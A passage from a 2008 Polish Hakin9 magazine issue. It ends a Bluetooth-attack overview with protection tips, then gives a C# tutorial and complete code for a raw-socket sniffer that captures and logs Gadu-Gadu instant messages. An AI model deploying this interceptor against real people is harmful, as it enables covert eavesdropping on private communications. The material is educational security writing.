nadrzędną, co prowadzi do zakłócenia
funkcjonowania sieci.
BlueJack
BlueJack ma na celu nie tyle samo
przejmowanie kontroli nad atakowanym
urządzeniem, co wykorzystywanie
urządzeń Bluetooth znajdujących się
w pobliżu w celu przesyłania do nich
wiadomości w postaci wizytówek.
Wizytówki takie najczęściej zawierają
różnego rodzaju teksty, które u
nieświadomych odbiorców mogą
powodować konsternację.
Car Whisperer
Car Whisperer dotyczy urządzeń
Bluetooth coraz częściej montowanych
w samochodach i służących do
podłączania telefonów komórkowych lub
elementów car-audio. Doświadczenia
przeprowadzone przez specjalistów z
trifinite.group pokazały, że możliwe jest
podsłuchiwanie rozmów prowadzonych
w samochodzie. Atak Car Whisperer
umożliwia odbieranie sygnału z
mikrofonów oraz wysyłanie dźwięków do
instalacji głośnikowej. Jest to możliwe
dzięki temu, że urządzenia Bluetooth
zainstalowane w samochodzie do
parowania z innymi urządzeniami
wykorzystują 'standardowe' kody PIN,
takie jak:
1234
czy
0000
, a dodatkowo
nie ma możliwości ich modyfikacji.
Konkluzje
Jak podaje firma InsightExpress,
73 procent użytkowników urządzeń
mobilnych takich, jak notebooki,
telefony komórkowe czy PDA nie zna
zasad, jakimi powinni się kierować, aby
ograniczyć ryzyko związane z atakiem
poprzez Bluetooth. Lepsza znajomość
niebezpieczeństw, które czyhają na
użytkowników nowych technologii
bezprzewodowych, powinna ich uczulić
na aspekty bezpieczeństwa i poufności
danych.
Jak chronić się przed atakami Bluetooth
• włącz Bluetooth w Twoim urządzeniu tylko, kiedy jest to konieczne – np. na czas
wysyłania danych czy wymiany wizytówek. W przypadku telefonów zmniejszysz w ten
sposób również pobór energii z baterii,
• zwróć uwagę na aktywność komunikacji interfejsu Bluetooth. Urządzenia w niego
wyposażone maja zazwyczaj diodę koloru niebieskiego, która pulsuje w trakcie trwania
transmisji danych,
• sprawdź, czy Twój telefon komórkowy nie widnieje na liście modeli podatnych na ataki
Bluetooth ; w razie dostępności nowej wersji oprogramowania usuwającego luki w
działaniu Bluetooth, zaktualizuj firmware telefonu,
• odrzucaj próby połączeń do Twojego telefonu czy PDA z nieznanych Ci urządzeń,
• zwróć uwagę na długość i łatwość odgadnięcia PINu podczas procesu parowania
urządzeń,
• nie instaluj w swoim telefonie bądź PDA oprogramowania pochodzącego z nieznanego
czy wątpliwego źródła. Być może zawiera ono złośliwy kod, którego zamiarem jest
umożliwienie nieautoryzowanego dostępu do urządzeń Bluetooth.
W Sieci
• Hacking Bluetooth – http://trifinite.org/Downloads/21c3_Bluetooth_Hacking.pdf,
• Opis technologii Bluetooth – http://pl.wikipedia.org/wiki/Bluetooth,
• Wszystko o Bluejacking – http://www.bluejackq.com/, http://www.bluejacking.pl,
• Opisy ataków, stosowane narzędzia i oprogramowanie – http://trifinite.org.
Marian Witkowski
Jest miłośnikiem oraz entuzjastą wykorzystywania
technologii mobilnych w codziennym zastosowaniu.
W latach 2001-2006 był Dyrektorem Technologii
firmy One-2-One SA, zajmującej się integracją usług
dodanych w telefonii komórkowej. Prowadzi własną firmę
świadczącą usługi informatyczne w zakresie tworzenia
mikroprocesorowych systemów czasu rzeczywistego,
technologii mobilnych oraz układów automatyki.
Kontakt z autorem: mw@it-mobile.net.
36
HAKIN9
ATAK
4/2008
J
edną z metod przechwycenia wiadomości
jest zastosowanie keyloggera. W
numerze styczniowym w artykule C#.NET.
Podsłuchiwanie klawiatury przedstawiony
został projekt podstawowego keyloggera dla
systemu Windows. Takie rozwiązanie daje nam
jednak możliwość odczytania wyłącznie danych
wysyłanych przez klienta komunikatora do serwera.
Aby mieć dostęp do danych zarówno wysyłanych,
jak i odbieranych z serwera, musimy spróbować
przechwycić je z sieci. Komunikacja sieciowa
oparta jest na gniazdach. Gniazdo (ang. socket)
jest abstrakcyjnym dwukierunkowym punktem
końcowym procesu komunikacji. Dwukierunkowość
oznacza możliwość i odbioru, i wysyłania danych.
Pojęcie gniazda wywodzi się od twórców systemu
Berkeley UNIX. Istnieje możliwość utworzenia tzw.
surowych gniazd (ang. raw sockets), dzięki którym
mamy dostęp do całości pakietu danych, tzn. wraz
z nagłówkiem IP, TCP itd. Uzyskujemy w ten sposób
możliwość monitorowania przepływu danych w
sieci. Surowe gniazda są w pełni obsługiwane
przez system Windows XP SP2. Nowy produkt
Microsoftu – Windows Vista – w obecnej wersji
ogranicza ich działanie. Można zadać sobie
pytanie, czy ograniczenia wprowadzone w Windows
Vista są próbą walki z hakerami czy tylko błędem,
który zostanie w przyszłości poprawiony. Zwłaszcza,
iż według nieoficjalnych zapowiedzi developerów
z Redmond, surowe gniazda mają być w pełni
dostępne wraz z nadejściem service packa dla
systemu Windows Vista.
MACIEJ PAKULSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jak protokół Gadu-Gadu
obsługuje wysyłanie/odbieranie
wiadomości,
jak działają surowe gniazda
(ang. raw sockets).
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy projektowania
zorientowanego obiektowo,
znać podstawy działania sieci
komputerowych.
Projekt aplikacji przechwytującej
wiadomości komunikatora internetowego
zrealizujemy korzystając z platformy .NET,
która dostarcza wygodnego zbioru typów
pozwalającego w prosty sposób na wykonanie
tego zadania. Jako komunikator wykorzystamy
klienta sieci Gadu-Gadu.
Gadu-Gadu – wysyłanie
i odbieranie wiadomości
Jednym z najpopularniejszych polskich
komunikatorów internetowych jest Gadu-Gadu.
Jest on dostępny na polskim rynku od 2000 roku.
Przez ten czas zyskał sobie wielką popularność i
obecnie posiada liczbę użytkowników szacowaną
na kilka milionów. Wiele innych komunikatorów
umożliwia swoim użytkownikom komunikację nie
tylko z własnymi dedykowanymi serwerami, ale
również z serwerami sieci Gadu-Gadu.
Klient Gadu-Gadu bazuje na protokole TCP/IP.
Połączenie jest realizowane z wykorzystaniem
portu 8074 bądź 443. Dane wysyłane są w
postaci pakietów, rozpoczynających się od
nagłówka, którego postać przedstawia Listing 1.
Pole
type
określa typ wysyłanego pakietu, pole
length
– długość pakietu bez nagłówka, wyrażoną
w bajtach. Po nagłówku znajdują się właściwe dane
pakietu.
Gdy klient otrzymuje wiadomość, wówczas
pole
type
przyjmuje wartość 0x0a. Po
nagłówku pakietu wysyłana jest struktura
przedstawiona na Listingu 2.
Stopień trudności
Przejmowanie
wiadomości
Gadu-Gadu
Komunikatory internetowe są jednym z coraz częściej
wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich
pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy
sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie.
Czy jednak możemy być pewni tego, że nikt nas nie podsłuchuje?
37
HAKIN9
C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU
4/2008
Pole
sender
to numer nadawcy
wiadomości,
seq
jest numerem
sekwencyjnym,
time
– czasem nadania
wiadomości,
class
– klasą wiadomości,
a
msg
jest wysyłaną wiadomością. Aby
określić długość wiadomości, musimy
od pola
length
nagłówka odjąć ilość
bajtów zajmowaną przez dane pakietu bez
wiadomości (tj. 16 bajtów). Wiadomości
są kodowane przy użyciu strony kodowej
Windows-1250.
Gdy klient chce wysłać wiadomość,
wówczas pole
type
nagłówka przyjmuje
wartość 0x0b. Oprócz nagłówka
wysyłana jest struktura zdefiniowana na
Listingu 3.
Pole
recipient
określa numer
odbiorcy,
seq
jest numerem sekwencyjnym,
class
– klasą wiadomości, a
msg
wysyłaną wiadomością.
Protokół IP
Protokół IP wykorzystuje się do
sortowania oraz dostarczania pakietów.
Pakiety zwane są datagramami. Każdy
taki datagram składa się z nagłówka
oraz ładunku, zawierającego przeważnie
pakiet innego protokołu. Obecnie używa
się protokołu IP w wersji 4.
W nagłówku datagramu IPv4 możemy
wyróżnić następujące pola:
• Version – wersja protokołu,
• IHL (Internet Header Length) – długość
nagłówka, wyrażona jako ilość 32-
bitowych słów,
• TOS (Type of Service) – typ obsługi
określający sposób, w jaki powinien być
obsłużony pakiet,
• Total Length – całkowita długość
datagramu IP w bajtach,
• Identification – identyfikuje określony
datagram IP,
• Flags – pole to zawiera 3 bity, jednak
wykorzystuje się tylko dwa spośród
nich. Jedna z flag określa, czy pakiet
może być fragmentowany, druga zaś
– czy jest to już końcowy fragment
w datagramie, czy może jest jednak
więcej fragmentów,
• Fragment Offset – określa pozycję
fragmentu w stosunku do
oryginalnego ładunku IP,
• TTL (Time to Live) – określa czas
(w sekundach), przez jaki datagram
pozostanie w sieci, zanim zostanie
odrzucony,
• Protocol – określa typ protokołu
będącego ładunkiem datagramu IP,
• Header Checksum – suma kontrolna
nagłówka, wykorzystywana w celu
sprawdzenia jego poprawności,
• Source IP Address – źródłowy adres IP,
• Destination IP Address – docelowy
adres IP.
Protokół TCP
Protokół TCP jest jednym z najczęściej
używanych protokołów komunikacyjnych
w sieciach komputerowych. Jest to
protokół połączeniowy, w którym to przed
rozpoczęciem komunikacji wymagane
jest zainicjowanie połączenia przez jedną
ze stron. Dane przesyłane są w postaci
segmentów składających się każdorazowo
z nagłówka oraz danych.
Nagłówek TCP możemy podzielić na
następujące pola:
• Source Port – port źródłowy,
• Destination Port – port docelowy,
• Sequence Number – służy do
identyfikacji pierwszego bajtu danych
w danym segmencie,
• Acknowledgment Number
– określa numer sekwencyjny bajtu
oczekiwanego przez nadawcę,
• Data Offset – długość nagłówka
mierzona jako ilość 32-bitowych
słów,
• Reserved – pole zarezerwowane do
przyszłego wykorzystania,
Rysunek 1.
Nagłówek IPv4
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Version
IHL
TOS
Total Length
Identification
Flags
Fragment Offset
TTL
Protocol
Header Checksum
Source IP Address
Destination IP Address
Options and Padding
Listing 1.
Nagłówek pakietu Gadu-
Gadu
struct
GGHeader
{
int
type
;
int
length
;
}
;
Listing 2.
Struktura reprezentująca
wiadomość odbieraną przez klienta
Gadu-Gadu
struct
RecvMsg
{
int
sender
;
int
seq
;
int
time
;
int
class
;
string
msg
;
}
;
Listing 3.
Struktura reprezentująca
wiadomość wysyłaną przez klienta
Gadu-Gadu
struct
SendMsg
{
int
recipient
;
int
seq
;
int
class
;
string
msg
;
}
;
ATAK
38
HAKIN9 4/2008
C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU
39
HAKIN9
4/2008
• Flags – flagi zawierające informację
o przeznaczeniu segmentu,
• Window – określa ilość danych, jaką
nadawca jest gotów przyjąć,
• Checksum – suma kontrolna
wykorzystywana do sprawdzenia
poprawności transmisji,
• Urgent Pointer – pole
wykorzystywane do wyróżnienia
szczególnie ważnych wiadomości.
Tworzymy klasę
przechwytującą pakiety GG
Projekt aplikacji umożliwiającej
przechwytywanie pakietów Gadu-Gadu
stworzymy używając języka C# oraz
darmowego środowiska Visual C# 2005
Express Edition. Rozpoczynamy od
stworzenia nowego projektu Windows
Forms. Do projektu dodajemy nową klasę
i nadajemy jej nazwę
IPHeader
. Klasa
ta będzie reprezentować nagłówek IP.
Najpierw dodamy odpowiednie pola do
naszej klasy (Listing 4).
Pola klasy, oprócz dwóch ostatnich, są
polami nagłówka IP. Pole
headerLength
to całkowita długość nagłówka IP. Tablica
ipData
jest ładunkiem datagramu IP.
Możemy teraz przejść do napisania
konstruktora klasy. Będzie on pobierał dwa
parametry: tablicę przechwyconych bajtów
oraz ich ilość. Dodajemy kod z Listingu 5.
Na początku tworzymy strumień
poprzez stworzenie nowego obiektu
klasy
MemoryStream
z przestrzeni nazw
System.IO
. Przeciążony konstruktor tej
klasy wymaga następujących parametrów:
tablicy bajtów, z której chcemy utworzyć
strumień, pozycji w tablicy, od której zacznie
się tworzenie strumienia, a także długości
strumienia. Następnie tworzymy obiekt
klasy
BinaryReader
, dzięki któremu
możliwe jest odczytanie typów prostych ze
strumienia. Konstruktor przyjmuje referencję
do strumienia, z którego chcemy czytać.
Możemy teraz odczytać interesujące
nas dane. Warto tu zwrócić uwagę na
dwie rzeczy. Metody odczytujące z klasy
BinaryReader
automatycznie zmieniają
pozycję w strumieniu po wykonaniu operacji
odczytu, a dane odebrane z sieci zapisane
są w kolejności big endian (najbardziej
znaczący bajt jest umieszczany jako
pierwszy), podczas gdy na komputerach
PC dane są przeważnie zapisywane w
kolejności little endian (najmniej znaczący
bajt umieszczany jest jako pierwszy). W
związku z tym, aby zmienić kolejność
bajtów, wykorzystujemy statyczną metodę
NetworkToHostOrder
klasy
IPAddress
.
Aby móc jej użyć, musimy dodać przestrzeń
nazw
System.Net
. Następnie odczytujemy
długość odebranego nagłówka IP. Jest
ona zapisana jako ilość 4-bajtowych słów
Listing 4.
Pola klasy IPHeader
private
byte
versionAndHeaderLength
;
private
byte
typeOfService
;
private
ushort
totalLenth
;
private
ushort
identification
;
private
ushort
flagsAndOffset
;
private
byte
tTL
;
private
byte
protocolType
;
private
short
checkSum
;
private
uint
sourceAddress
;
private
uint
destinationAddress
;
private
byte
headerLength
;
private
byte
[]
ipData
=
new
byte
[
4096
];
Listing 5.
Konstruktor klasy IPHeader
public
IPHeader
(
byte
[]
dataReceived
,
int
received
)
{
try
{
MemoryStream
sm
=
new
MemoryStream
(
dataReceived
,
0
,
received
);
BinaryReader
br
=
new
BinaryReader
(
sm
);
versionAndHeaderLength
=
br
.
ReadByte
();
typeOfService
=
br
.
ReadByte
();
totalLenth
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
identification
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
flagsAndOffset
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
tTL
=
br
.
ReadByte
();
protocolType
=
br
.
ReadByte
();
checkSum
=
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
sourceAddress
=
(
uint
)(
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt32
()));
destinationAddress
=
(
uint
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt32
());
headerLength
=
versionAndHeaderLength
;
headerLength
=
(
byte
)((
headerLength
&
0x0f
)
*
4
);
Array
.
Copy
(
dataReceived
,
headerLength
,
ipData
,
0
,
totalLenth
-
headerLength
);
}
catch
(
Exception
exc
)
{}
}
Listing 6.
Właściwości klasy IPHeader
public
byte
[]
Data
{
get
{
return
ipData
;
}
}
public
EProtocolType
TypeOfProtocol
{
get
{
if
(
protocolType
==
6
)
return
EProtocolType
.
TCP
;
return
EProtocolType
.
OTHER
;
}
}
public
int
MessageLength
{
get
{
return
totalLenth
-
headerLength
;
}
}
ATAK
38
HAKIN9 4/2008
C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU
39
HAKIN9
4/2008
i znajduje się w młodszej części bajtu
versionAndHeaderLength
. Aby nie utracić
danych z tej zmiennej, wykorzystujemy
pomocniczą zmienną
headerLength
.
Wykonujemy operację AND, aby wyzerować
starszą część bajtu oraz mnożymy
uzyskaną wielkość przez 4 w celu uzyskania
właściwej długości nagłówka. Wartość tę
wykorzystujemy do określenia ilości bajtów
zajmowanych przez ładunek w datagramie
IP. Używając statycznej metody
Copy
klasy
Array
, kopiujemy te dane do wcześniej
zadeklarowanej tablicy, którą wykorzystamy
do odczytu danych segmentu TCP.
Ostatnim krokiem jest zdefiniowanie
właściwości. Nie będziemy jednak robić
tego dla każdego pola naszej klasy, lecz
wyłącznie dla tych wykorzystywanych przy
analizie segmentu TCP. Dodajemy kod z
Listingu 6.
Dodatkowo zdefiniowaliśmy typ
wyliczeniowy z Listingu 7., który należy
dodać przed definicją klasy. Służy on do
określenia typu protokołu, którego pakiet
jest ładunkiem w datagramie IP. Dla nas
interesujący jest tylko protokół TCP, tak więc
typ wyliczeniowy zawiera tylko dwa pola:
TCP
(dla protokołu TCP) oraz
OTHER
(dla
innego typu protokołu).
Przystępujemy teraz do napisania klasy
reprezentującej nagłówek TCP. Dodajemy
nowa klasę i nadajemy jej nazwę
TCPHeader
. Zaczniemy od dodania pól do
naszej klasy – dopisujemy kod z Listingu 8.
Pola klasy, z wyjątkiem dwóch ostatnich,
to pola nagłówka TCP,
headerLength
jest
długością nagłówka w bajtach, a tablica
tcpData
to dane segmentu.
Przechodzimy teraz do zdefiniowania
konstruktora dla naszej klasy. Podbiera on
dwa parametry: tablicę bajtów, będącą
ładunkiem datagramu IP, oraz ich ilość.
Dodajemy kod z Listingu 9.
Na początku tworzymy obiekty
MemoryStream
oraz
BinaryReader
,
wykorzystywane do odczytu
poszczególnych pól nagłówka TCP.
Następnie odczytujemy długość nagłówka.
Jest ona zapisana – ponownie jako ilość
4-bajtowych słów – w 4 najstarszych bitach
zmiennej
flagsAndOffset
. Wykonujemy
więc przesunięcie o 12 pozycji w lewo
oraz mnożymy otrzymaną wartość przez
4 w celu uzyskania właściwej ilości bajtów
zajmowanych przez nagłówek TCP. Długość
tę wykorzystujemy do określenia miejsca
początku danych segmentu.
Na końcu dodajemy właściwości dla
wybranych pól naszej klasy, dopisując kod
z Listingu 10.
Po utworzeniu klas opisujących
nagłówki IP oraz TCP, przystępujemy do
zdefiniowania klasy przechwytującej dane
z sieci. Tworzymy nową klasę i nadajemy
jej nazwę
GGListener
. Pierwszym krokiem
powinno być dodanie niezbędnych
przestrzeni nazw:
System.Net
,
System.Net.Sockets
,
System.IO
,
System.Text
. Do klasy dodajemy pola z
Listingu 11.
Pola
ipHeader
oraz
tcpHeader
są
odpowiednio referencjami do obiektów
IPHeader
oraz
TCPHeader
. Pole
s
jest
obiektem klasy
Socket
, reprezentującej
gniazdo. Pole
filePath
jest ścieżką do
pliku, w którym będziemy zapisywali
przechwycone wiadomości Gadu-Gadu.
Możemy teraz przejść do napisania
metod naszej klasy. Przedstawia je kod z
Listingu 12.
Pierwsza metoda – konstruktor
– jako parametr przyjmuje ścieżkę do
pliku, w którym zapiszemy przechwycone
wiadomości. Metoda
IsGGPort
sprawdza, czy numer portu, określony
przekazywanym do niej parametrem, jest
numerem portu Gadu-Gadu. Za pomocą
metody
MachineAddress
uzyskujemy
referencję do obiektu klasy
IPAddress
reprezentującej adres IP. Sercem klasy
jest metoda
StartToListen
, za pomocą
której rozpoczynamy przechwytywanie
danych. Na początku tworzymy nowy obiekt
klasy
Socket
. Konstruktor klasy przyjmuje
następujące parametry:
• typ wyliczeniowy
AddressFamily
reprezentuje rodzinę protokołów
do obsługi gniazda – każda stała,
przechowywana przez ten typ
wyliczeniowy, określa sposób, w jaki
klasa
Socket
będzie określała adres.
InterNetwork
określa użycie adresu
IP w wersji 4,
• typ wyliczeniowy
SocketType
,
określający typ gniazda,
• typ wyliczeniowy
ProtocolType
,
określający typ protokołu.
Listing 9.
Konstruktor klasy TCPHeader
public
TCPHeader
(
byte
[]
data
,
int
received
)
{
try
{
MemoryStream
sm
=
new
MemoryStream
(
data
,
0
,
received
);
BinaryReader
br
=
new
BinaryReader
(
sm
);
sourcePort
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
destinationPort
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
sequenceNumber
=
(
uint
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt32
());
acknowledgmentNumber
=
(
uint
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt32
());
dataOffsetAndFlags
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
window
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
checkSum
=
(
short
)(
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
()));
urgentPointer
=
(
ushort
)
IPAddress
.
NetworkToHostOrder
(
br
.
ReadInt16
());
headerLength
=
(
byte
)(
dataOffsetAndFlags
>>
12
);
headerLength
*=
4
;
Array
.
Copy
(
data
,
headerLength
,
tcpData
,
0
,
received
-
headerLength
);
}
catch
(
Exception
exc
)
{}
}
Listing 7.
Typ wyliczeniowy
EProtocolType
enum
EProtocolType
{
TCP
,
OTHER
}
Listing 8.
Pola klasy TCPHeader
private
ushort
sourcePort
;
private
ushort
destinationPort
;
private
uint
sequenceNumber
;
private
uint
acknowledgmentNumber
;
private
ushort
dataOffsetAndFlags
;
private
ushort
window
;
private
short
checkSum
;
private
ushort
urgentPointer
;
private
byte
headerLength
;
private
byte
[]
tcpData
=
new
byte
[
4096
];
ATAK
40
HAKIN9 4/2008
C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU
41
HAKIN9
4/2008
Po stworzeniu gniazda musimy je
powiązać z pulą adresów uwzględnianych
przy nasłuchu. Służy do tego metoda
Bind
. Jako parametr przyjmuje ona
referencję do obiektu klasy
EndPoint
.
Jednakże klasa ta jest abstrakcyjna,
tak więc musimy skorzystać z jednej z
klas pochodnych. Tworzymy więc nowy
obiekt klasy
IPEndPoint
. Konstruktor
tej klasy wymaga dwóch parametrów:
referencji do obiektu klasy
IPAddress
uzyskiwanej przez wywołanie wcześniej
zdefiniowanej metody
MachineAddress
oraz numeru portu (dla surowych
gniazd ustawiamy wartość 0, gdyż nie
korzystają one z portów). Następnym
krokiem jest określenie trybu operacji
niskopoziomowych wykonywanych przez
gniazdo poprzez wywołanie metody
IOControl
. Metoda ta przyjmuje 3
parametry:
• typ wyliczeniowy
IOControlCode
,
określający kod kontrolny operacji do
wykonania. Stała
ReceiveAll
oznacza,
że będą odbierane wszystkie pakiety
IPv4,
• tablicę bajtów z parametrami
wejściowymi. Zgodnie z dokumentacją
Platform SDK ten parametr powinien
być typu
BOOL
(4 bajty) i mieć wartość
TRUE
– tak więc przekazujemy tablicę {
1, 0, 0, 0 },
• tablicę bajtów z danymi wyjściowymi.
Metoda ta jest analogiczna do funkcji
WinApi
WSAIoctl
.
Następnie rozpoczynamy
asynchroniczne odbieranie danych
poprzez wywołanie metody
BeginReceive
,
przyjmującej następujące parametry:
• tablicę bajtów, w której zostaną
umieszczone odebrane dane,
• indeks tablicy, od którego rozpocznie
się zapisywanie danych w tablicy,
• ilość bajtów, jaką można maksymalnie
odebrać,
• flagi,
• delegację
AsyncCallback
określającą
metodę, wywoływaną w momencie
ukończenia asynchronicznej operacji,
• obiekt klasy
Object
, dzięki któremu
możemy przekazać dane do metody
wywoływanej po zakończeniu
asynchronicznej operacji.
W naszym projekcie delegacja
AsyncCallback
jest implementowana
przez metodę
AsyncDataReceived
.
Tworzy ona nowy obiekt klasy
IPHeader
i sprawdza, czy ładunek w datagramie
IP zawiera segment TCP. Jeżeli tak
się dzieje, wywoływana jest metoda
SaveInfo
. Na końcu ponownie
rozpoczynamy asynchroniczne
odbieranie danych.
Metoda
SaveInfo
rozpoczyna
działanie od stworzenia nowego
obiektu klasy
TCPHeader
. Następnie
sprawdza, czy port źródłowy bądź port
docelowy są portami Gadu-Gadu. Jeżeli
nie, kończy działanie. W przeciwnym
wypadku następuje sprawdzenie,
czy przechwyciliśmy wychodzącą/
przychodzącą wiadomość, czy też inny
typ pakietu. W przypadku, gdy pakiet
Gadu-Gadu jest wiadomością wysyłaną
do/z klienta Gadu-Gadu, interesujące
nas dane są odczytywane i następnie
zapisywane do pliku.
Gdy nasza klasa jest już gotowa,
Listing 10.
Właściwości klasy
TCPHeader
public
byte
[]
TcpData
{
get
{
return
tcpData
;
}
}
public
ushort
SourcePort
{
get
{
return
sourcePort
;
}
}
public
ushort
DestinationPort
{
get
{
return
destinationPort
;
}
}
Listing 11.
Pola klasy GGListener
private
IPHeader
ipHeader
;
private
TCPHeader
tcpHeader
;
private
byte
[]
data
;
private
Socket
s
;
private string filePath;
Rysunek 2.
Nagłówek TCP
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Urgent Pointer
Reserved
Source Port
Destination Port
Data Offset
Flags
Sequence Number
Acknowledgment Number
Window
Checksum
Options and Padding
W Sieci
• http://ekg.chmurka.net/docs/protocol.html – opis protokołu Gadu-Gadu,
• http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft, skąd można
pobrać środowisko Visual C# 2005 Express Edition,
• http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i
nie tylko. Naprawdę godny polecenia,
• http://www.codeguru.pl – polska strona dla programistów .NET,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas,
właściwości i metod, jakie zawiera platforma .NET wraz z przykładowymi programami.
ATAK
40
HAKIN9 4/2008
C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU
41
HAKIN9
4/2008
możemy przejść do widoku formy
i utworzyć nowy obiekt klasy oraz
rozpocząć przechwytywanie danych
wywołując metodę
StartToListen
.
Podsumowanie
Podstawowym celem artykułu było
pokazanie, jak potężnym narzędziem
są surowe gniazda i w jak łatwy
sposób pozwalają na przechwytywanie
danych przesyłanych w sieci. W
sposób podobny do prezentowanego
w artykule możemy zaimplementować
aplikacje przechwytujące e-maile,
a także monitorujące adresy
odwiedzanych przez użytkownika stron
internetowych. Hakerzy wykorzystują
je do przeprowadzenia ataków typu
Denial of Service (odmowa usługi) lub IP
address spoofing (fałszowanie adresu
IP). Jednakże nie wolno zapomnieć
o pozytywnych aspektach użycia
surowych gniazd. Niewątpliwie przydają
się wszędzie tam, gdzie wymagany jest
pełny wgląd do danych przesyłanych
w sieci, np. w celu wysłania/odbioru
niestandardowych pakietów.
Listing 12.
Metody klasy GGListener
//
konstruktor
public
GGListener
(
string
_fileParh
)
{
filePath
=
_fileParh
;
}
private
bool
IsGGPort
(
ushort
port
)
{
return
(
port
==
8074
||
port
==
443
);
}
public
void
StartToListen
()
{
try
{
s
=
new
Socket
(
AddressFamily
.
InterNetwork
,
SocketType
.
Raw
,
ProtocolType
.
IP
);
s
.
Bind
(
new
IPEndPoint
(
MachineAddress
()
,
0
));
byte
[]
optionInValue
=
new
byte
[
4
]
{
1
,
0
,
0
,
0
}
;
byte
[]
optionOutValue
=
new
byte
[
4
];
s
.
IOControl
(
IOControlCode
.
ReceiveAll
,
optionInValue
,
optionOutValue
);
data
=
new
byte
[
4096
];
s
.
BeginReceive
(
data
,
0
,
data
.
Length
,
SocketFlags
.
None
,
new
AsyncCallback
(
AsyncDataReceived
)
,
null
);
}
catch
(
Exception
exc
)
{}
}
private
IPAddress
MachineAddress
()
{
string
hostName
=
Dns
.
GetHostName
();
IPHostEntry
ipHostEntry
=
Dns
.
GetHostByName
(
hostName
);
return
ipHostEntry
.
AddressList
[
0
];
}
private
void
AsyncDataReceived
(
IAsyncResult
result
)
{
try
{
int
nReceived
=
s
.
EndReceive
(
result
);
ipHeader
=
new
IPHeader
(
data
,
nReceived
);
if
(
ipHeader
.
TypeOfProtocol
==
EProtocolType
.
TCP
)
{
SaveInfo
();
}
data
=
new
byte
[
4096
];
s
.
BeginReceive
(
data
,
0
,
data
.
Length
,
SocketFlags
.
None
,
new
AsyncCallback
(
AsyncDataReceived
)
,
null
);
}
catch
(
Exception
exc
)
{}
}
private
void
SaveInfo
()
{
try
{
tcpHeader
=
new
TCPHeader
(
ipHeader
.
Data
,
ipHeader
.
MessageLength
);
if
(!(
IsGGPort
(
tcpHeader
.
DestinationPort
)
||
IsGGPort
(
tc
pHeader
.
SourcePort
)))
return
;
if
(
BitConverter
.
ToUInt32
(
tcpHeader
.
TcpData
,
0
)
==
0x0b
||
BitConverter
.
ToUInt32
(
tcpHeader
.
TcpDa
ta
,
0
)
==
0x0a
)
{
int
nMsgLength
=
BitConverter
.
ToInt32
(
tcpHeader
.
TcpD
ata
,
4
);
int
nStartingByte
=
0
;
if
(!
File
.
Exists
(
filePath
))
using
(
File
.
Create
(
filePath
));
using
(
StreamWriter
sw
=
File
.
AppendText
(
filePath
))
{
string
msgType
=
" "
;
sw
.
Write
(
"
\r\n
++++++++++++++++++++++++++++++++++++
+++++
\r\n
"
);
if
(
tcpHeader
.
DestinationPort
==
8074
||
tcpHeader
.
DestinationPort
==
443
)
{
sw
.
Write
(
"Wiadomość wychodząca
\r\n
"
);
msgType
=
"Numer odbiorcy "
;
nStartingByte
=
20
;
nMsgLength
-=
12
;
}
if
(
tcpHeader
.
SourcePort
==
8074
||
tcpHeader
.
SourcePort
==
443
)
{
sw
.
Write
(
"Wiadomość przychodząca
\r\n
"
);
msgType
=
"Numer nadawcy "
;
nStartingByte
=
24
;
nMsgLength
-=
16
;
}
sw
.
Write
(
"Port źródłowy "
+
tcpHeader
.
SourcePort
+
"
\r\n
"
);
sw
.
Write
(
"Port docelowy "
+
tcpHeader
.
DestinationP
ort
+
"
\r\n
"
);
sw
.
Write
(
msgType
+
BitConverter
.
ToUInt32
(
tcpHeader
.
TcpData
,
8
)
+
"
\r\n
"
);
Encoding
e
=
Encoding
.
GetEncoding
(
"windows-1250"
);
sw
.
Write
(
"Wiadomość "
+
e
.
GetString
(
tcpHeader
.
TcpD
ata
,
nStartingByte
,
nMsgLength
));
}
}
}
catch
(
Exception
exc
)
{}
}
Maciej Pakulski
Absolwent studiów inżynierskich oraz aktywny członek
koła naukowego .NET Wydziału Fizyki, Astronomii i
Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika
w Toruniu. Obecnie na studiach magisterskich.
Programowaniem zajmuje się od 2004. Potrafi
programować biegle w językach C/C++, Java, VHDL.
Programowaniem w języku C# i platformą .NET zajmuje
się od 2006 roku. Jest autorem szeregu publikacji z
zakresu programowania oraz bezpieczeństwa IT.
Kontakt z autorem: mac_pak@interia.pl
42
OBRONA
HAKIN9 4/2008
A
utorzy zagrożeń są twórczy. Kiedyś
motywacją była dla nich sława, przecieranie
nie odkrytych jeszcze metod infekcji,
uznanie w wąskim gronie twórców wirusów i w
oczach producentów programów antywirusowych.
Sytuacja ta trwała przez ponad 15 lat i w roku
